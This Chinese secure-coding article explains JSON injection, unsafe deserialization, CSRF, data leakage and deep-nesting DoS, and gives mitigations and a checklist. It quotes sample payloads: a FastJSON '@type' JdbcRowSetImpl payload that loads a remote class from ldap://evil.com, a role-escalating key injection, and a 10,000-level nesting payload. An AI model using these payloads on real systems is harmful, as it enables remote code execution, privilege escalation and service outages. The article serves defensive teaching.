如何防止 JSON 注入攻击?有哪些常见的安全问题需要注意?
JSON 注入攻击的原理
JSON 注入攻击是指攻击者通过在输入数据中插入恶意 JSON 片段,篡改 JSON 结构或注入可执行代码,从而绕过验证、窃取数据或执行非授权操作。
常见的注入手法包括:
- 键值篡改:在用户输入中插入额外的 JSON 键值对,改变解析结果。例如用户输入
"username","role":"admin"拼接后变成{"username":"input","role":"admin"}。 - 结构破坏:利用引号、花括号等特殊字符破坏原有 JSON 结构,导致解析异常或越权。
- 类型混淆:将字符串类型的值替换为对象或数组,绕过基于类型的校验逻辑。
五种常见的 JSON 安全问题
1. JSON 注入
攻击者构造特殊的 JSON 字符串,破坏 JSON 结构或执行恶意代码。最典型的场景是服务端拼接 JSON 字符串时未对用户输入做转义:
javascript// 危险写法:直接拼接 const json = '{"name":"' + userInput + '"}'; // 输入 a","role":"admin -> {"name":"a","role":"admin"} // 安全写法:使用序列化方法 const json = JSON.stringify({ name: userInput });
2. 反序列化漏洞
不安全的 JSON 反序列化可导致远程代码执行(RCE)。以 Java 生态的 FastJSON 为例,攻击者在 JSON 中注入 "@type":"com.sun.rowset.JdbcRowSetImpl" 指定恶意类,触发 JNDI 注入进而执行任意命令。
java// FastJSON 危险配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 攻击载荷 String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/Exploit","autoCommit":true}"; JSON.parse(payload); // 触发远程类加载
防护要点:升级到 FastJSON 1.2.83+,关闭 AutoType,使用白名单机制限制可反序列化的类。
3. 跨站请求伪造(CSRF)
JSON 格式的 API 同样面临 CSRF 风险。虽然浏览器对 Content-Type: application/json 的跨域请求会触发预检,但如果服务端仅依赖 Cookie 鉴权且未校验 Origin 头,攻击者仍可构造表单提交发起攻击。
防护方式:校验 Origin 和 Referer 头,使用 CSRF Token,或改用 Authorization 头携带 Token。
4. 敏感信息泄露
JSON 响应中直接返回密码哈希、内部 ID、数据库字段名等敏感数据是常见问题。攻击者通过正常接口即可获取这些信息,无需任何注入手段。
json// 危险响应 {"id":1,"username":"admin","password_hash":"$2b$10$xxx...","email":"admin@example.com"} // 安全响应:仅返回必要字段 {"id":1,"username":"admin"}
应对措施:使用 DTO 对象过滤输出字段,全局配置 JSON 序列化忽略敏感属性,定期审计 API 响应内容。
5. 拒绝服务攻击
构造超大或嵌套极深的 JSON 数据可耗尽服务器内存。例如一个嵌套 10000 层的对象,解析时占用大量栈空间导致 OOM。Python 的 json.loads() 默认无嵌套深度限制,而 json5、bson 等第三方库更易受此影响。
python# 深度嵌套攻击载荷 payload = '{"a":' * 10000 + '1' + '}' * 10000 json.loads(payload) # 可能导致栈溢出
防护手段:限制请求体大小(如 Nginx client_max_body_size),设置 JSON 解析的最大嵌套深度,实现请求频率限制。
防护措施详解
输入验证与净化
- 使用 JSON Schema 或类型校验库(如 Ajv、Pydantic)对输入做结构验证
- 对用户输入中的双引号、反斜杠等特殊字符进行转义
- 使用
JSON.stringify()/json.dumps()等标准方法序列化,禁止手动拼接 JSON 字符串 - 对数值型字段做范围检查,对枚举型字段做白名单校验
安全的反序列化策略
- 禁用 AutoType / 类型自动识别功能
- 使用白名单限制可反序列化的类,而非依赖黑名单
- 对反序列化操作做权限隔离,运行在沙箱或低权限进程中
- 升级依赖库到最新安全版本,关注 CVE 公告
传输与响应安全
- 全站启用 HTTPS(TLS 1.3),防止中间人篡改 JSON 数据
- 设置
Content-Type: application/json; charset=utf-8,防止编码攻击 - 配置严格的 CORS 策略,限制允许的来源域名
- 响应中设置
X-Content-Type-Options: nosniff,防止 MIME 嗅探
运行时防护
- 限制 JSON 请求体大小(建议 1MB 以内,按业务调整)
- 设置解析最大嵌套深度(建议不超过 20 层)
- 实现接口级别的请求频率限制
- 部署 WAF 检测异常 JSON 载荷
核心检查清单
| 检查项 | 要求 |
|---|---|
| JSON 拼接 | 禁止手动拼接,使用标准序列化方法 |
| 反序列化 | 关闭 AutoType,使用白名单 |
| 输入校验 | JSON Schema 验证 + 类型/范围检查 |
| 敏感字段 | DTO 过滤,不在响应中返回 |
| 嵌套深度 | 解析器限制最大深度 ≤ 20 |
| 请求大小 | 限制请求体上限 |
| 传输加密 | 全站 HTTPS + 严格 CORS |
| 依赖版本 | 定期更新,关注 CVE 公告 |
以上措施覆盖了 JSON 处理中从输入、解析、传输到响应的完整链路,按照清单逐项排查可有效降低 JSON 相关安全风险。